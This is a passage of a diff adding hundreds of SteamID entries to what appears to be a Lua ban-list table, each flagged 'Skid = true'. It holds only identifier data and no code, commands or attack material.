["STEAM_0:1:39824466"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38452197"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15637724"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5548378"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26431495"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31903507"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25978864"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18119795"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17143161"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15845998"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42539589"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:44844907"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34374005"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27406679"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17804836"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21251667"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31930856"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29246943"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17068251"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19122063"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16566805"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21496174"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19765883"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30851657"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23112123"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34070382"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14829931"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38767553"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14656281"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15759372"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34516076"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:47401210"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26592873"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19995979"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16472474"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37790285"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26172469"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20839745"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24714448"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31765142"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16790507"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14533588"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22112709"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35730090"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9871324"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17243395"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5212097"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:2225456"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31775172"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20288410"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:4798281"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:36191497"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20962862"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9161920"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40925893"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37915686"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26240673"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30736921"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41425385"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38119668"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26509632"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32758037"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32179276"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22136981"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43790420"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22565488"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31379384"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29315958"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41465253"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20805485"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18772388"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29967828"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33590389"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7310025"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41366841"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23209999"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25399184"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29530639"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37025967"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33475089"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33734623"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29324139"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26195352"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31888967"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30307804"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13191828"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35403823"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37050190"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32806003"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19008524"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26019050"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22065680"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:345320"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41248830"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:423969"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12885039"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13878239"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42511906"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29850438"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9855831"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:47215367"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31036969"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24140620"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41616272"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21821768"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41595996"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34909757"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15518963"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33455769"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28760023"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22520929"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34497158"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31862133"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27996438"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20990849"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15532508"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31544630"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17409456"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37548713"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30371161"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:8729134"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29563270"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15911169"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24921549"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37919289"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34097427"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17885939"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6580062"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15454583"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26888610"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14513483"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24364692"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12551692"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41154609"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20041818"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:43095360"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26924100"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26840924"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10402426"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33369845"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19960642"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27261803"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:4066936"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3479585"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14648670"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23039257"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19556890"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20890765"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24786705"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:62940"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24915227"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6880802"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19229096"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22002322"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18191040"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37843910"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33114003"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15690802"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28818696"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25415083"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25452418"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19427546"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33300739"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:9943485"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25401410"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33396834"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5389432"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:9848005"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40087113"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15342841"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30994758"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28163340"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16035293"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6243024"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15518683"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21893197"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25382518"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6101457"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26981576"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33605183"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24918286"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6021440"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30992848"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29378857"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38312983"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15611592"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:45368394"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17777622"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19168766"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41691155"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33934051"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22064715"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29324469"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27176604"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27043140"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39921319"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6121646"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3706405"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20703580"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22762748"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20756308"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35550050"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37754189"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40700272"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29514950"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33321929"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36594519"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17293785"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27077435"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19938508"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33168494"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19797596"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23311135"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29348752"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14606367"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30648388"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17619331"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16531554"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40702019"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39809049"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13745480"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:46124957"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27918000"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6750859"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28992682"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7971955"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16659693"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:44504364"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28876396"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24682503"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26447547"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30430733"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28462533"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25363766"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20294348"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12230876"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6923172"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31114463"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14512467"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:8550432"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:50497859"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20543488"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13740532"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18470560"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:682450"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39895321"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35426874"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42757533"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23430747"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25971343"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34485415"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20379321"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37881005"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:11538807"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16625608"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42497661"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15691251"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38523757"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19631925"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:4234197"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7338701"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33941810"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:116914083"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20347090"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22778196"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25739925"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15906596"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34964124"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34948843"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26353571"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:46885776"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42133417"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26910771"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42110487"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14766542"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32553152"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:45829692"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20915525"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19560927"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35904007"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18110816"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15533024"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14027318"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3392893"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20951249"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36300176"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:45375145"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7971757"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39383347"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20819796"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13459863"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43141961"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39667744"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21207096"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16197301"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24971728"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21261418"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37078694"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27258883"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17489355"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24285937"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27823238"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41314991"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25807996"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29259837"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20848708"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10958668"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30498550"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22978000"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40063844"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32607684"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37522991"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20199059"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29509729"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34516492"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:43771084"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18595052"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22466357"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:8667058"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31886278"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17854060"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30436795"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35104657"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20366378"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24189060"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37160489"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40843744"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33337822"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17922697"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:44458585"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29847085"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10487329"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:43909175"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31578137"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24956796"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34159242"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12770156"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42439493"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9888611"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26325041"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37073731"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37149000"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33233680"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29891963"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20261409"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16730801"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29432743"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26223972"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42848692"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37536092"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26496599"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:45114256"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16325730"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19539416"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27117270"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:4211476"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13585332"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38777126"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:7153926"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19260640"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32127712"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25550024"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19052887"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33490482"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5451984"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43787712"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30086164"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23252025"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20558333"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17338989"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12703954"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34127219"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34365603"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27414251"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18893179"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37046010"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25109932"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37240301"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25158839"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7754747"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7947396"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6049651"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38757071"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26030255"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:9194520"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24128663"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:11767656"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28764179"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37976619"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24077491"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26380030"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:8863407"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20065283"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26625728"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25045773"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19777068"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31702774"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42770207"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18259747"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13628167"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14121213"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24118889"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31041118"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17047736"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17486334"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:217737"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33557519"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:11100235"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42747668"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18159307"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18227861"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:5945545"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42044871"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38723618"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15876684"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18052906"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34237858"] = {Name = "banlist: ", 